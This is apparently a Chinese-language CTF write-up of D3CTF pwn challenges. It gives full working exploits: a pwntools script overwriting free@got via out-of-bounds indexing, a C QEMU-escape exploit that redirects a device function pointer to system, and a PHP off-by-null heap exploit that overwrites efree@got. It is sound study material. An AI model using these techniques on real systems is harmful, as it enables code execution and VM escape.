文章目录
- 前言
- note
- write_flag_where【复现】
- D3BabyEscape
- PwnShell
前言
本次比赛笔者就做出两道简单题,但队里师傅太快了,所以也没我啥事。然后 WebPwn
那题命令行通了,但是浏览器不会调试,然后就简单记录一下。
note
- 只开了 NX 和 Canary,所以可以打 got 表
- 数组越界,可上溢、可下溢
- 泄漏 libc_base,然后打 free@got 即可
关键数据结构如下:
exp 如下:
from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''
def add(idx, size, data):
sl(byte(276))
sleep(0.5)
sl(byte(idx))
sleep(0.5)
sl(byte(size))
sleep(0.5)
sl(data)
sleep(1)
def show(idx):
sl(byte(1300))
sleep(0.5)
sl(byte(idx))
def free(idx):
sl(byte(6425))
sleep(0.5)
sl(byte(idx))
sleep(1)
def edit(idx, data):
sl(byte(2064))
sleep(0.5)
sl(byte(idx))
sleep(0.5)
sl(data)
#gdb.attach(io, "b *0x401422")
add(1, 0x10, b'/bin/sh\x00')
show(-1460)
libc_base = addr8(6) - 0x1d46a0
info("libc_base", libc_base)
pay = p64(libc_base+0x1d46a0) + p64(0)*3 + p64(8) + p64(0x404000)
edit(-1460, pay)
edit(0, p64(libc_base+libc.sym.system))
free(1)
#pause()
#debug()
sh()
write_flag_where【复现】
题目给了源码,程序会先输出 libc_base 地址,然后循环往 libc 代码段写入 flag,这里 flag 的长度是已知的,并且知道其格式为 d3ctf{[a-f0-9]*}
,所以这里往 libc 代码段写入的值就是 [a-f0-9]
,由于其是未知的,所以这里得进行爆破
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#define FLAG_PREFIX "d3ctf{"
#define FLAG_PREFIX_LENGTH (sizeof(FLAG_PREFIX)-1)
#define FLAG_SUFFIX "}"
#define FLAG_SUFFIX_LENGTH (sizeof(FLAG_SUFFIX)-1)
#define LIBC_NAME "libc"
char maps[0x1000], flag[0x100];
uint64_t libc_code_addr_start, libc_code_addr_end;
void write_mem(uint64_t addr, uint8_t byte) {
int fd = open("/proc/self/mem", O_RDWR);
lseek(fd, addr, SEEK_SET);
write(fd, &byte, 1);
close(fd);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
FILE* maps_stream = fopen("/proc/self/maps", "r");
int count = 1;
char *line = NULL;
uint64_t len = 0;
uint64_t addr_start = 0, addr_end = 0, offset = 0, major_id = 0, minor_id = 0, inode_id = 0;
char mode[0x10], file_path[0x100];
memset(mode, 0, sizeof(mode));
memset(file_path, 0, sizeof(file_path));
while (getline(&line, &len, maps_stream) != -1 ) {
sscanf(line,"%lx-%lx%s%lx%lu:%lu%lu%s",
&addr_start, &addr_end, mode, &offset,
&major_id, &minor_id, &inode_id, file_path
);
if (count == 10) {
libc_code_addr_start = addr_start;
libc_code_addr_end = addr_end;
break;
}
count++;
}
if (line) {
printf("%s", line);
free(line);
}
fclose(maps_stream);
int fd = open("/flag", O_RDONLY);
read(fd, flag, 0x100);
close(fd);
}
int main(int argc, char *argv[]) {
init();
uint64_t addr = 0;
uint offset = 0;
printf("flag: "FLAG_PREFIX"[a-f0-9]{%lu}"FLAG_SUFFIX"\n", strlen(flag) - FLAG_PREFIX_LENGTH - FLAG_SUFFIX_LENGTH);
while (scanf("%lu%u", &addr, &offset) == 2) {
if (!(libc_code_addr_start <= addr && addr < libc_code_addr_end) ||
!(offset >= FLAG_PREFIX_LENGTH && offset < strlen(flag) - FLAG_SUFFIX_LENGTH))
break;
write_mem(addr, flag[offset]);
}
return 0;
}
这里主要参考星盟的 wp,具体后面再看看吧(:脑袋有点晕
D3BabyEscape
简单的 qemu 逃逸,题目维护的结构体如下:
其中 content 数组存在越界读写,从而导致可以读写 func 域,func 初始被设置为 rand_r 库函数,所以可以先利用越界读泄漏 libc_base,然后利用越界写修改 func 为 system 地址。而在 l0dev_mmio_write 函数中会调用 func 函数:
这里似乎只能传入 4 字节,所以传入 sh 即可完成逃逸,exp 如下:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/io.h>
void *mmio_mem;
void mmio_write64(size_t offset, uint64_t value) {
*(uint64_t *) (mmio_mem + offset) = value;
}
uint64_t mmio_read64(size_t offset) {
return *(uint64_t *) (mmio_mem + offset);
}
void mmio_init() {
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
mlock(mmio_mem, 0x1000);
}
uint32_t pmio_mem;
void pmio_write(uint32_t offset, uint32_t value) {
outl(value, pmio_mem + offset);
}
uint32_t pmio_read(uint32_t offset) {
return inl(pmio_mem + offset);
}
void pmio_init() {
iopl(3);
FILE *pmio_fd = fopen("/sys/devices/pci0000:00/0000:00:04.0/resource", "r");
fscanf(pmio_fd, "%*p%*p%*p%p", &pmio_mem);
}
int main() {
mmio_init();
pmio_init();
mmio_write64(128, 28);
long long libc_base = mmio_read64(31*8) - 0x46780;
long long system = libc_base + 0x50D70;
printf("libc_base: %#llx\n", libc_base);
mmio_write64(0, 666);
pmio_read(0);
pmio_write(31*8, system&0xffffffff);
pmio_write(31*8+4, (system>>32)&0xffffffff);
//char cmd[16] = "/bin/sh\x00";
char cmd[16] = "sh\x00";
mmio_write64(64, *(long long*)cmd);
return 0;
}
PwnShell
phpPwn,一个 off by null 漏洞,然后命令行启动打通了,浏览器不想调了,就这样吧。题目维护的结构体如下:
这里利用 off by null 去进行堆重叠,使得一个 data chunk 和一个 control chunk 重合,这样就可以实现任意地址读写了,泄漏 libc_base 然后覆写 efree@got 即可。这里泄漏 libc 可以直接包含 /proc/self/maps 泄漏,所以关键就是覆写 efree@got 罢了(:
然后打远程是要通过 Apache 的,然而在比赛时,我一直在命令行上调,最后远程一直打不了,给我搞崩溃了(:其实本地通过 Apache 也打不了,最开始调试方向就错了
贴个本地命令行 exp:
<?php
function tobytes($integerValue, $byteLength) {
$byteString = '';
for ($i = 0; $i < $byteLength; $i++) {
$byteString .= pack('C',$integerValue & 0xFF);
$integerValue >>= 8;
}
return $byteString;
}
function get_addr($sss, $llen) {
$decimalValue = 0;
for ($i = 1; $i <= $llen; $i++) {
$char = $sss[-$i];
$digit = ord($char);
$decimalValue = ($decimalValue << 8) | $digit;
}
return $decimalValue;
}
$libc = "";
$stack = "";
function callback($buffer){
global $libc,$stack;
$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \[stack\]/';
preg_match_all($p, $buffer, $stack);
preg_match_all($p1, $buffer, $libc);
return "";
}
ob_start("callback");
$a="/proc/self/maps";
include($a);
$buffer=ob_get_contents();
ob_end_flush();
callback($buffer);
$stack = hexdec($stack[1][0]);
$libc_base = hexdec($libc[1][0]);
echo dechex($stack);
echo "\n";
echo dechex($libc_base);
echo "\n";
addHacker("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
addHacker("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
addHacker("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
addHacker("BBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
addHacker("BBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
editHacker(2, "\x00\x00\x00\x00\x00\x00\x00\x00");
addHacker("BBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
addHacker("BBBBBBBBBBBBBBBB", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
$efree = $libc_base - 0x2cf1fc0-8;
$system = $libc_base + 0x4c490;
echo "PWN\n";
editHacker(2, tobytes($efree, 6));
editHacker(5, tobytes($system, 8));
addHacker("/readflag\x00", "/readflag\x00");
removeHacker(7);
?>